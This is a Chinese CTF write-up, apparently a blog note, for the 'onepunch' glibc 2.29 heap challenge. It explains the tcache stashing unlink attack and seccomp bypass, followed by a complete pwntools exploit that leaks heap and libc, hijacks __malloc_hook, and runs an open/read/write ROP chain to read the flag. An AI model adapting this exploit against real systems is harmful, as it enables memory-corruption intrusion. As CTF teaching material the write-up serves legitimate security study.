欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[A]onepunch(tcache stash&&seccomp)

程序员文章站 2022-06-17 07:59:54
...

程序调用的是calloc,这个函数不会从tcache中取chunk。所以直接add free 重复填满tcache,利用uaf泄露heap和libc

tcache per thread struct是来管理链表上堆块的数量的,大小一共是0x250,在heap开头。其中counts一共占0x40,每一个字节都代表一个大小范围正好对应64个entry,第一个字节代表0x10,类推。本题中数一数就是对应0x220的size的地方需要大于6,虽然我们可以申请7个0x220的chunk来让他变为7,可以通过if,但是之后malloc的0x217也是0x220的范围,这意味着malloc将无法使用tcache,做不到任意地址写。接得用别的方法进行修改。

因为2.29的libc已经加了unsortedbin链表完整性检查,所以无法在使用unsortedbin attack,
用新方法,tcache stashing unlink attack,就是,从smallbin中进行calloc时,因为时FIFO,所以取链表尾,此时检查链表完整性,然后会查看对应大小的tcache是否满,如果没有满,会将剩下的smallbin chunk从链表尾依次放入tcache,但在检查完unlink拿取的chunk的完整性后,他没有检查后续chunk的真假,unlink时开始bk是指向尾chunk(bck=bin->bk),调整后,bck会指向倒数第二个chunk,最后他会bin->bk = bck,bck->fd = bin(在这一步就会在fd处写上一个地址),bin是smallbin地址,bck的small的bk指针,后续每一个移入tcache的chunk的都这么处理
所以我们在smallbin中放入两个chunk,表头叫bin1,表尾叫bin2,在bin1的bk处写上target_addr-0x10(fd),之后申请出bin2,就会把后续的chunk放入tcache,并且在fd写入地址。但因为我们指向的target不是chunk,所以将他放入tcache时会导致内存错误,于是我们就要提前准备好tcache,我们放6个相应大小chunk在里面,这样allocate拿走bin2,stash拿走bin1到tache,之后给target写值,tcache满了,就不会在继续了。

怎么让chunk进入smallbin?首先放入unsortedbin,之后申请chunk时,如果比unsortedbin中的chunk更大,就会触发consolidate将unsortedbin中的chunk放入smallbin。

记得还要提前把0x218大小得chunk放入tcache,并且指向malloc_hook。所以现在,可以拿到malloc_hook了,因为有沙箱,我们需要构造rop链来绕过,

open(flag_addr,0)flag_addr是文件名字符串的地址
read(3,flag_addr,0x30) 012是标准输入,输出,出错。3就是打开的文件
write(1,flag_addr,0x30) 1是输出模式

这里还有些疑问,做法是把hook改成了add rsp,0x48;ret的gadget,我猜测这应该是调用hook时,我们写入的rop链正好在rsp+0x48的地方,但我实际调试好像是在0x40,应该是调用hook时,还会压入一个返回地址,所以一共0x48。之后去查资料再验证。

rop chain是对libc进行rop,所以gadget很直接。

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')

# p = process('./punch')
# libc = ELF('/glibc/2.29/amd64/lib/libc-2.29.so')

p = remote("node4.buuoj.cn",26977)
libc = ELF('/home/giantbranch/Desktop/libc/amd64/libc-2.29.so')

elf = ELF('./punch')

def add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)


def edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)



#full tcache
for i in range(7):
    add(0,'a'*0x400)
    free(0)


#leak heap base
show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x16b0
log.info("heap_base="+hex(heap_base))


#remain one for smallchunk
for i in range(6):
    add(0,'a'*0xf0)
    free(0)


#leak libc base
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]


#make tcache write anywhere
add(1,'a'*0x218)#cut from unsortedbin
free(1)#to tcache
edit(1,p64(malloc_hook))
add(1,'a'*0x1d0)#clear unsortedbin
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)#into unsortedbin 0x400


#make small bin*2
add(0,'a'*0x300)#cut unsortedbin to remain 0x100
add(0,'a'*0x200)#smallbin to 0x100

add(0,'a'*0x400)
add(1,'a'*0x200)
free(0)#in unsortedbin
add(2,'a'*0x300)#cut
add(2,'a'*0x200)#smallbin to 0x100 again
edit(0,'d'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x2ff0)+p64(heap_base+0x30-0x5-0x10))


#make stash
add(2,'a'*0xf0)#get last chunk from smallbin


#get malloc_hook
add_rsp_0x48 = libc_base+0x8cfd6
BackDoor("./flag\x00".ljust(8,'\x00'))#name of file
BackDoor(p64(add_rsp_0x48))#get malloc_hook

#rop to orw
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0xcf6c5
flag_addr = heap_base+0x24d0
#open(flag_addr,0)
rop_chains = p64(pop_rdi)+p64(flag_addr)
rop_chains+= p64(pop_rsi)+p64(0)
rop_chains+= p64(pop_rax)+p64(2)
rop_chains+= p64(syscall)
#read(3,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(3)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(0)
rop_chains+= p64(syscall)
#write(1,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(1)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(1)
rop_chains+= p64(syscall)

add(0,rop_chains)
#gdb.attach(p)
p.interactive()
相关标签: 笔记